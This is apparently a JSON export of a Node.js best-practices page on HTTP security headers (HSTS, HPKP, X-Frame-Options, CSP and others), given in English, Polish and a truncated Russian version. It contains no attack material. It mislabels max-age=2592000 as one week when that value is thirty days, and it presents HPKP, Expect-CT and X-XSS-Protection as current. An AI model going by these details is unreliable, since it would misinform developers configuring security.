    "content": "# Using security-related headers to secure your application against common attacks\r\n\r\n<br/><br/>\r\n\r\n\r\n### One Paragraph Explainer\r\n\r\nThere are security-related headers used to secure your application further. The most important headers are listed below. You can also visit the sites linked at the bottom of this page to get more information on this topic. You can easily set these headers using the [Helmet](https://www.npmjs.com/package/helmet) module for Express ([Helmet for koa](https://www.npmjs.com/package/koa-helmet)).\r\n\r\n<br/><br/>\r\n\r\n### Table of Contents\r\n- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)\r\n- [Public Key Pinning for HTTP (HPKP)](#public-key-pinning-for-http-hpkp)\r\n- [X-Frame-Options](#x-frame-options)\r\n- [X-XSS-Protection](#x-xss-protection)\r\n- [X-Content-Type-Options](#x-content-type-options)\r\n- [Referrer-Policy](#referrer-policy)\r\n- [Expect-CT](#expect-ct)\r\n- [Content-Security-Policy](#content-security-policy)\r\n- [Additional Resources](#additional-resources)\r\n\r\n<br/><br/>\r\n\r\n### HTTP Strict Transport Security (HSTS)\r\n\r\nHTTP Strict Transport Security (HSTS) is a web security policy mechanism to protect websites against [protocol downgrade attacks](https://en.wikipedia.org/wiki/Downgrade_attack) and [cookie hijacking](https://www.owasp.org/index.php/Session_hijacking_attack). It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using __secure HTTPS connections__, and __never__ via the insecure HTTP protocol. The HSTS policy is implemented by using the `Strict-Transport-Security` header over an existing HTTPS connection.\r\n\r\nThe Strict-Transport-Security Header accepts a `max-age` value in seconds, to notify the browser how long it should access the site using HTTPS only, and an `includeSubDomains` value to apply the Strict Transport Security rule to all of the site's subdomains.\r\n\r\nHeader Example - HSTS Policy enabled for one week, include subdomains\r\n```\r\nStrict-Transport-Security: max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\r\n\r\n🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\r\n\r\n<br/><br/>\r\n\r\n### Public Key Pinning for HTTP (HPKP)\r\n\r\nHTTP Public Key Pinning (HPKP) is a security mechanism allowing HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent SSL/TLS certificates.\r\n\r\nThe HTTPS web server serves a list of public key hashes, and on subsequent connections clients expect that server to use one or more of those public keys in its certificate chain. Using this feature carefully, you can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false authentication problems for your application's users without incurring undue risk.\r\n\r\nBefore implementing you should have a look at the `Expect-CT` header first, due to its advanced flexibility for recovery from misconfiguration and other [advantages](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ).\r\n\r\nThe Public-Key-Pins header accepts 4 values, a `pin-sha256` value for adding the certificate public key, hashed using the SHA256 algorithm, which can be added multiple times for different public keys, a `max-age` value to tell the browser how long it should apply the rule, an `includeSubDomains` value to apply this rule to all subdomains and a `report-uri` value to report pin validation failures to the given URL.\r\n\r\nHeader Example - HPKP Policy enabled for one week, include subdomains , report failures to an example URL and allow two public keys\r\n```\r\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\r\n\r\n🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\r\n\r\n<br/><br/>\r\n\r\n### X-Frame-Options\r\n\r\nThe X-Frame-Options header secures the application against [Clickjacking](https://www.owasp.org/index.php/Clickjacking) attacks by declaring a policy whether your application may be embedded on other (external) pages using frames.\r\n\r\nX-Frame-Options allows 3 parameters, a `deny` parameter to disallow embedding the resource in general, a `sameorigin` parameter to allow embedding the resource on the same host/origin and an `allow-from` parameter to specify a host where embedding of the resource is allowed.\r\n\r\nHeader Example - Deny embedding of your application\r\n```\r\nX-Frame-Options: deny\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\r\n\r\n🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\r\n\r\n<br/><br/>\r\n\r\n### X-XSS-Protection\r\n\r\nThis header enables the [Cross-site scripting](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) filter in your browser.\r\n\r\nIt accepts 4 parameters, `0` for disabling the filter, `1` for enabling the filter and enable automatic sanitization of the page, `mode=block` to enable the filter and prevent the page from rendering if a XSS attack is detected (this parameter has to be added to `1` using a semicolon, and `report=<domainToReport>` to report the violation (this parameter has to be added to `1`).\r\n\r\nHeader Example - Enable XSS Protection and report violations to example URL\r\n```\r\nX-XSS-Protection: 1; report=http://example.com/xss-report\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\r\n\r\n<br/><br/>\r\n\r\n### X-Content-Type-Options\r\n\r\nSetting this header will prevent the browser from [interpreting files as something else](https://en.wikipedia.org/wiki/Content_sniffing) than declared by the content type in the HTTP headers.\r\n\r\nHeader Example - Disallow Content sniffing\r\n```\r\nX-Content-Type-Options: nosniff\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\r\n\r\n🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Referrer-Policy\r\n\r\nThe Referrer-Policy HTTP header governs which referrer information, sent in the `Referer` header, should be included with requests made.\r\n\r\nIt allows 8 parameters, a `no-referrer` parameter to remove the `Referer` header completely, a `no-referrer-when-downgrade` to remove the `Referer` header when downgraded for example HTTPS -> HTTP, an `origin` parameter to send the host origin (the host root) as referrer __only__, an `origin-when-cross-origin` parameter to send a full origin URL when staying on the same origin and send the host origin __only__ when otherwise, a `same-origin` parameter to send referrer information only for same-site origins and omit on cross-origin requests, a `strict-origin` parameter to keep the `Referer` header only on the same security-level (HTTPS -> HTTPS) and omit it on a less secure destination, a `strict-origin-when-cross-origin` parameter to send the full referrer URL to a same-origin destination, the origin __only__ to a cross-origin destination on the __same__ security level and no referrer on a less secure cross-origin destination, and an `unsafe-url` parameter to send the full referrer to same-origin or cross-origin destinations.\r\n\r\nHeader Example - Remove the `Referer` header completely\r\n```\r\nReferrer-Policy: no-referrer\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\r\n\r\n🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Expect-CT\r\n\r\nThe Expect-CT header is used by a server to indicate that browsers should evaluate connections to the host emitting the header for [Certificate Transparency](https://www.certificate-transparency.org/) compliance.\r\n\r\nThis header accepts 3 parameters, a `report-uri` parameter to supply a URL to report Expect-CT failures to, a `enforce` parameter to signal the browser that Certificate Transparency should be enforced (rather than only reported) and refuse future connections violating the Certificate Transparency, and a `max-age` parameter to specify the number of seconds the browser regard the host as a known Expect-CT host.\r\n\r\nHeader Example - Enforce Certificate Transparency for a week and report to example URL\r\n```\r\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\r\n```\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Content-Security-Policy\r\n\r\nThe HTTP Content-Security-Policy response header allows to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against [cross-site scripting attacks (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).\r\n\r\nHeader Example - Enable CSP and only execute scripts from the same origin\r\n```\r\nContent-Security-Policy: script-src 'self'\r\n```\r\n\r\nThere are many policies enabled with Content-Security-Policy that can be found on the sites linked below.\r\n\r\n🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\r\n\r\n🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Additional resources\r\n\r\n🔗 [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\r\n\r\n🔗 [Node.js Security Checklist (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureheaders.polish.md",
    "content": "# Korzystanie z nagłówków związanych z bezpieczeństwem w celu zabezpieczenia aplikacji przed typowymi atakami\n\n<br/><br/>\n\n\n### Wyjaśnienie jednym akapitem\n\nIstnieją nagłówki związane z bezpieczeństwem, które służą do dalszego zabezpieczenia aplikacji. Najważniejsze nagłówki są wymienione poniżej. Możesz również odwiedzić witryny połączone na dole tej strony, aby uzyskać więcej informacji na ten temat. Możesz łatwo ustawić te nagłówki za pomocą modułu [Helmet](https://www.npmjs.com/package/helmet) modułu dla express ([Helmet for koa](https://www.npmjs.com/package/koa-helmet)).\n\n<br/><br/>\n\n### Spis treści\n- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)\n- [Public Key Pinning dla HTTP (HPKP)](#public-key-pinning-dla-http-hpkp)\n- [X-Frame-Options](#x-frame-options)\n- [X-XSS-Protection](#x-xss-protection)\n- [X-Content-Type-Options](#x-content-type-options)\n- [Referrer-Policy](#referrer-policy)\n- [Expect-CT](#expect-ct)\n- [Content-Security-Policy](#content-security-policy)\n- [Additional Resource](#dodatkowe-zasoby)\n\n<br/><br/>\n\n### HTTP Strict Transport Security (HSTS)\n\nHTTP Strict Transport Security (HSTS) to mechanizm polityki bezpieczeństwa sieci, który chroni strony internetowe przed [protocol downgrade attacks](https://en.wikipedia.org/wiki/Downgrade_attack) oraz [cookie hijacking](https://www.owasp.org/index.php/Session_hijacking_attack). Pozwala serwerom internetowym zadeklarować, że przeglądarki internetowe (lub inne zgodne z nimi aplikacje klienckie) powinny z nim współpracować tylko przy użyciu __secure HTTPS connections__, oraz __never__ przez niepewny protokół HTTP. Polityka HSTS jest implementowana przy użyciu nagłówka `Strict-Transport-Security` przez istniejące połączenie HTTPS.\n\nNagłówek Strict-Transport-Security akceptuje wartość 'max-age' w sekundach, aby powiadomić przeglądarkę, jak długo powinien uzyskiwać dostęp do witryny przy użyciu tylko HTTPS, oraz wartość „includeSubDomains”, aby zastosować regułę ścisłego transportu do wszystkich poddomeny witryny.\n\nPrzykład nagłówka - zasady HSTS włączone na tydzień, obejmują poddomeny\n```\nStrict-Transport-Security: max-age=2592000; includeSubDomains\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\n\n🔗 [Czytaj MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\n\n<br/><br/>\n\n### Public Key Pinning dla HTTP (HPKP)\n\nHTTP Public Key Pinning (HPKP) to mechanizm bezpieczeństwa umożliwiający stronom HTTPS opieranie się podszywaniu się pod osoby atakujące przy użyciu nieprawidłowo wydanych lub w inny sposób fałszywych certyfikatów SSL / TLS.\n\nSerwer webowy HTTPS udostępnia listę skrótów kluczy publicznych, a przy kolejnych połączeniach klienci oczekują, że serwer użyje jednego lub więcej kluczy publicznych w swoim łańcuchu certyfikatów. Korzystając z tej funkcji ostrożnie, można znacznie zmniejszyć ryzyko ataków typu man-in-the-middle (MITM) i innych problemów z fałszywym uwierzytelnianiem użytkowników aplikacji bez ponoszenia nadmiernego ryzyka.\n\nPrzed wdrożeniem powinieneś najpierw zajrzeć do nagłówka `Expect-CT`, ze względu na jego zaawansowaną elastyczność odzyskiwania po błędnej konfiguracji i inne [zalety](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ).\n\nNagłówek klucza Public-Key-Pins przyjmuje 4 wartości, `pin-sha256` wartość dodawania klucza publicznego certyfikatu, zaszyfrowana przy użyciu algorytmu SHA256, który można dodawać wiele razy dla różnych kluczy publicznych, wartość 'max-age', która informuje przeglądarkę, jak długo powinna stosować regułę, wartość „includeSubDomains” do zastosuj tę regułę do wszystkich subdomen i wartości `report-uri`, aby zgłosić niepowodzenia sprawdzania poprawności pinów dla podanego adresu URL.\n\nPrzykład nagłówka - zasady HPKP włączone na jeden tydzień, obejmują subdomeny, zgłaszają awarie do przykładowego adresu URL i zezwalają na dwa klucze publiczne\n```\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\n\n🔗 [Czytaj MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\n\n<br/><br/>\n\n### X-Frame-Options\n\nNagłówek X-Frame-Options zabezpiecza aplikację przed [Clickjacking](https://www.owasp.org/index.php/Clickjacking) atakami, deklarując zasadę, czy aplikacja może być osadzona na innych (zewnętrznych) stronach za pomocą ramek.\n\nX-Frame-Options pozwala na 3 parametry, parametr `deny` aby uniemożliwić osadzanie zasobu w ogóle, parametr `sameorigin` umożliwiający osadzanie zasobu na tym samym hoście / źródle oraz parametr `allow-from` określający host, na którym dozwolone jest osadzanie zasobu.\n\nPrzykład nagłówka - odmowa osadzenia aplikacji\n```\nX-Frame-Options: deny\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\n\n🔗 [Czytaj MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n\n<br/><br/>\n\n### X-XSS-Protection\n\nTen nagłówek umożliwia filtr [Cross-site scripting](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) w twojej przeglądarce.\n\nPrzyjmuje 4 parametry, `0` do wyłączania filtra, `1` w celu włączenia filtra i włączenia automatycznej dezynfekcji strony, `mode=block` aby włączyć filtr i zapobiec renderowaniu strony w przypadku wykrycia ataku XSS (ten parametr należy dodać do `1` za pomocą średnika, a `report = <domainToReport>` aby zgłosić naruszenie (ten parametr należy dodać na '1').\n\nPrzykład nagłówka - Włącz ochronę XSS i zgłoś naruszenia na przykładowy adres URL\n```\nX-XSS-Protection: 1; report=http://example.com/xss-report\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\n\n🔗 [Czytaj OWASP Secure Headers Project](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\n\n<br/><br/>\n\n### X-Content-Type-Options\n\nUstawienie tego nagłówka uniemożliwi przeglądarce [interpretowanie plików jako czegoś innego](https://en.wikipedia.org/wiki/Content_sniffing) niż zadeklarowany przez typ zawartości w nagłówkach HTTP.\n\nPrzykład nagłówka - Disallow Content sniffing\n```\nX-Content-Type-Options: nosniff\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\n\n🔗 [Czytaj MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\n\n\n<br/><br/>\n\n### Referrer-Policy\n\nNagłówek Referrer-Policy HTTP określa, które informacje o odsyłaczach wysyłane w nagłówku 'Referer' powinny być dołączane do żądań.\n\nPrzyjmuje 8 parametrów, `no-referrer` parametr, aby usunąć nagłówek `Referer` całkowicie, `no-referrer-when-downgrade` aby usunąć nagłówek `Referer` gdy zejście w dół na przykład HTTPS -> HTTP, parametr `origin` aby wysłać źródło hosta (host root) jako odnośnik __only__, parametr `origin-when-cross-origin` aby wysłać origin URL pozostając na tym samym origin i wysłać host origin __only__ when inaczej, parametr `same-origin` aby wysyłać informacje o stronie odsyłającej tylko w przypadku pochodzenia z tej samej witryny i pomijać żądania dotyczące różnych źródeł, parametr `strict-origin` aby zachować nagłówek `Referer` tylko na tym samym poziomie bezpieczeństwa (HTTPS -> HTTPS) i pominąć go w mniej bezpiecznym miejscu docelowym, parametr `strict-origin-when-cross-origin` aby wysłać pełny adres URL strony odsyłającej do miejsca docelowego tego samego pochodzenia - źródła __only__ do miejsca docelowego pochodzącego z innego źródła w __same__ poziom bezpieczeństwa i brak strony odsyłającej w mniej bezpiecznym miejscu docelowym pochodzącym z innego źródła oraz parametr 'unsafe-url', aby wysłać pełne strony odsyłające do miejsc docelowych tego samego lub innego źródła.\n\nPrzykład nagłówka - Całkowite usunięcie nagłówka `Referer`\n```\nReferrer-Policy: no-referrer\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\n\n🔗 [Czytaj MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\n\n\n<br/><br/>\n\n### Expect-CT\n\nNagłówek Expect-CT jest używany przez serwer do wskazania, że przeglądarki powinny oceniać połączenia z hostem emitującym nagłówek pod kątem zgodności z [Przejrzystość certyfikatu](https://www.certificate-transparency.org/).\n\nNagłówek akceptuje 3 parametry, parametr „report-uri” do podania adresu URL do zgłoszenia awarii Expect-CT, parametr „enforce” sygnalizujący przeglądarce, że należy narzucić (a nie tylko zgłaszać) przejrzystość certyfikatu i odmawiać przyszłych połączeń naruszając Certificate Transparency oraz parametr „max-age” określający liczbę sekund, w których przeglądarka traktuje hosta jako znanego hosta Expect-CT.\n\nPrzykład nagłówka - Narzuć przejrzystość certyfikatu przez tydzień i zgłoś do przykładowego adresu URL\n```\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\n```\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\n\n\n<br/><br/>\n\n### Content-Security-Policy\n\nNagłówek odpowiedzi HTTP Content-Security-Policy pozwala kontrolować zasoby, które agent użytkownika może załadować dla danej strony. Z kilkoma wyjątkami zasady obejmują przede wszystkim określenie pochodzenia serwera i punktów końcowych skryptu. Pomaga to chronić się przed [cross-site scripting attacks (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).\n\nPrzykład nagłówka - Włącz CSP i wykonuj tylko skrypty z tego samego źródła\n```\nContent-Security-Policy: script-src 'self'\n```\n\nIstnieje wiele zasad włączonych za pomocą Content-Security-Policy, które można znaleźć na poniższych stronach.\n\n🔗 [Czytaj OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\n\n🔗 [Czytaj MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\n\n\n<br/><br/>\n\n### Dodatkowe zasoby\n\n🔗 [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\n\n🔗 [Node.js Security Checklist (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\n\n\n<br/><br/>\n"
  },
  {
    "path": "sections/security/secureheaders.russian.md",
    "content": "# Используйте связанные с безопасностью заголовки для защиты вашего приложения от распространенных атак\r\n\r\n<br/><br/>\r\n\r\n\r\n### Объяснение в один абзац\r\n\r\nСуществуют связанные с безопасностью заголовки, используемые для дальнейшей защиты вашего приложения. Самые важные заголовки перечислены ниже. Вы также можете посетить сайты, ссылки на которые есть в нижней части этой страницы, чтобы получить больше информации по этой теме. Вы можете легко установить эти заголовки, используя модуль [Helmet](https://www.npmjs.com/package/helmet) для экспресс-доставки ([Helmet for koa](https://www.npmjs.com/package/koa-helmet)).\r\n\r\n<br/><br/>\r\n\r\n### Оглавление\r\n- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)\r\n- [Public Key Pinning for HTTP (HPKP)](#public-key-pinning-for-http-hpkp)\r\n- [X-Frame-Options](#x-frame-options)\r\n- [X-XSS-Protection](#x-xss-protection)\r\n- [X-Content-Type-Options](#x-content-type-options)\r\n- [Referrer-Policy](#referrer-policy)\r\n- [Expect-CT](#expect-ct)\r\n- [Content-Security-Policy](#content-security-policy)\r\n- [Дополнительные ресурсы](#дополнительные-ресурсы)\r\n\r\n<br/><br/>\r\n\r\n### HTTP Strict Transport Security (HSTS)\r\n\r\nHTTP Strict Transport Security (HSTS) - это механизм политики веб-безопасности для защиты веб-сайтов от [атак с использованием понижения степени защиты](https://en.wikipedia.org/wiki/Downgrade_attack) и [перехвата файлов cookie](https://www.owasp.org/index.php/Session_hijacking_attack). Он позволяет веб-серверам объявлять, что веб-браузеры (или другие соответствующие пользовательские агенты) должны взаимодействовать с ним только с использованием __secure HTTPS-соединений__ и __never__ через небезопасный протокол HTTP. Политика HSTS реализуется с помощью заголовка `Strict-Transport-Security` поверх существующего HTTPS-соединения.\r\n\r\nЗаголовок Strict-Transport-Security принимает значение `max-age` в секундах, чтобы уведомить браузер, как долго он должен обращаться к сайту, используя только HTTPS, и значение `includeSubDomains`, чтобы применить правило Strict Transport Security ко всем субдомены сайта.\r\n\r\nПример заголовка - политика HSTS включена в течение одной недели, включая субдомены\r\n```\r\nStrict-Transport-Security: max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\r\n\r\n🔗 [Читать MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\r\n\r\n<br/><br/>\r\n\r\n### Public Key Pinning for HTTP (HPKP)\r\n\r\nPublic Key Pinning for HTTP (HPKP) - это механизм безопасности, позволяющий веб-сайтам HTTPS противостоять подлогам злоумышленников, использующими неправильно выданные или иным образом мошеннические сертификаты SSL/TLS.\r\n\r\nВеб-сервер HTTPS обслуживает список хэшей открытых ключей, и при последующих подключениях клиенты ожидают, что этот сервер будет использовать один или несколько из этих открытых ключей в своей цепочке сертификатов. Тщательно используя эту функцию, вы можете значительно снизить риск атак типа \"человек посередине (атака посредника)\" (MITM) и других проблем с ложной аутентификацией для пользователей вашего приложения, не подвергаясь чрезмерному риску.\r\n\r\nПеред внедрением вы должны сначала взглянуть на заголовок `Expect-CT` из-за его повышенной гибкости для восстановления после неправильной настройки и других [возможностей](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ).\r\n\r\nЗаголовок Public-Key-Pins принимает 4 значения, значение `pin-sha256` для добавления открытого ключа сертификата, хэшированное с использованием алгоритма SHA256, который можно добавлять несколько раз для разных открытых ключей, значение `max-age` для сообщения браузеру, как долго ему следует применять правило, значение `includeSubDomains`, чтобы применить это правило ко всем поддоменам, и значение `report-uri`, чтобы сообщать о сбоях проверки пина по указанному URL.\r\n\r\nПример заголовка - политика HPKP включена на одну неделю, включает субдомены, сообщает об ошибках на примерный URL и разрешает два открытых ключа\r\n```\r\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\r\n\r\n🔗 [Читать MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\r\n\r\n<br/><br/>\r\n\r\n### X-Frame-Options\r\n\r\nЗаголовок X-Frame-Options защищает приложение от атак [Clickjacking](https://www.owasp.org/index.php/Clickjacking), объявляя политику того, как ваше приложение может быть встроено в другие (внешние) страницы с использованием фреймов. ,\r\n\r\nX-Frame-Options позволяет 3 параметра: параметр `deny`, запрещающий встраивание ресурса в целом, параметр `sameorigin`, позволяющий встраивать ресурс на том же хосте/источнике, и параметр `allow-from` для указания хоста, где вложение ресурса разрешено.\r\n\r\nПример заголовка - Запретить встраивание вашего приложения\r\n```\r\nX-Frame-Options: deny\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\r\n\r\n🔗 [Читать MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\r\n\r\n<br/><br/>\r\n\r\n### X-XSS-Protection\r\n\r\nЭтот заголовок включает фильтр [Межсайтовый скриптинг](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) в вашем браузере.\r\n\r\nОн принимает 4 параметра: `0` для отключения фильтра, `1` для включения фильтра и включения автоматической очистки страницы, `mode=block` для включения фильтра и предотвращения рендеринга страницы при обнаружении атаки XSS (этот параметр необходимо добавить к `1`, используя точку с запятой, и `report=<domainToReport>`, чтобы сообщить о нарушении (этот параметр должен быть добавлен к `1`).\r\n\r\nПример заголовка - включите защиту XSS и сообщите о нарушениях к примеру URL\r\n```\r\nX-XSS-Protection: 1; report=http://example.com/xss-report\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\r\n\r\n<br/><br/>\r\n\r\n### X-Content-Type-Options\r\n\r\nУстановка этого заголовка не позволит браузеру [интерпретировать файлы как что-то еще](https://en.wikipedia.org/wiki/Content_sniffing), нежели объявленным типом содержимого в заголовках HTTP.\r\n\r\nПример заголовка - Запретить перехват содержимого\r\n```\r\nX-Content-Type-Options: nosniff\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\r\n\r\n🔗 [Читать MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Referrer-Policy\r\n\r\nHTTP-заголовок Referrer-Policy определяет, какая информация о реферере, отправленная в заголовке `Referer`, должна быть включена в сделанные запросы.\r\n\r\nОн разрешает 8 параметров, параметр `no-referrer` для полного удаления заголовка `Referer`, `no-referrer-when-downgrade` для удаления заголовка `Referer` при понижении, например HTTPS -> HTTP, `origin` параметр для отправки источника хоста (корня хоста) в качестве реферера __only__, параметр `origin-when-cross-origin` для отправки URL-адреса полного источника, когда он остается на том же источнике, и отправки источника хоста __only__, если в противном случае, параметр `same-origin` для отправки информации о реферере только для источников с одним и тем же сайтом и пропуск в запросах между источниками, параметр `strict-origin` для сохранения заголовка `Referer` только на одном уровне безопасности (HTTPS -> HTTPS) и пропуска его в менее безопасном месте назначения, параметре `strict-origin-when-cross-origin` для отправки полного URL-адреса реферера в место назначения того же источника, источник __only__ в место назначения перекрестного источника на уровне безопасности __same__ и нет реферера в менее безопасном перекрестном источнике и параметр `unsafe-url` для отправки полного реферера места назначения того же или перекрестного происхождения.\r\n\r\nПример заголовка - полностью удалите заголовок `Referer`\r\n```\r\nReferrer-Policy: no-referrer\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\r\n\r\n🔗 [Читать MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Expect-CT\r\n\r\nЗаголовок Expect-CT используется сервером для указания того, что браузеры должны оценивать соединения с хостом, испускающим заголовок для соответствия [прозрачности сертификата](https://www.certificate-transparency.org/).\r\n\r\nЭтот заголовок принимает 3 параметра: параметр `report-uri` для предоставления URL-адреса, по которому следует сообщать о сбоях Expect-CT, параметр `forcece`, указывающий браузеру, что прозрачность сертификата должна применяться (а не только сообщаться), и отказываться от будущих подключений, нарушающих прозрачность сертификата и параметра `max-age` для указания количества секунд, в течение которых браузер рассматривает хост как известный хост Expect-CT.\r\n\r\nПример заголовка - Обеспечить прозрачность сертификата в течение недели и сообщить пример URL\r\n```\r\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\r\n```\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Content-Security-Policy\r\n\r\nЗаголовок ответа HTTP Content-Security-Policy позволяет контролировать ресурсы, которые пользовательский агент может загружать для данной страницы. За некоторыми исключениями, политики в основном включают указание происхождения сервера и конечных точек сценария. Это помогает защититься от [межсайтовых скриптовых атак (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).\r\n\r\nПример заголовка - включите CSP и выполняйте сценарии только из одного источника\r\n```\r\nContent-Security-Policy: script-src 'self'\r\n```\r\n\r\nСуществует много политик, включенных с помощью Content-Security-Policy, которые можно найти на сайтах, ссылки на которые приведены 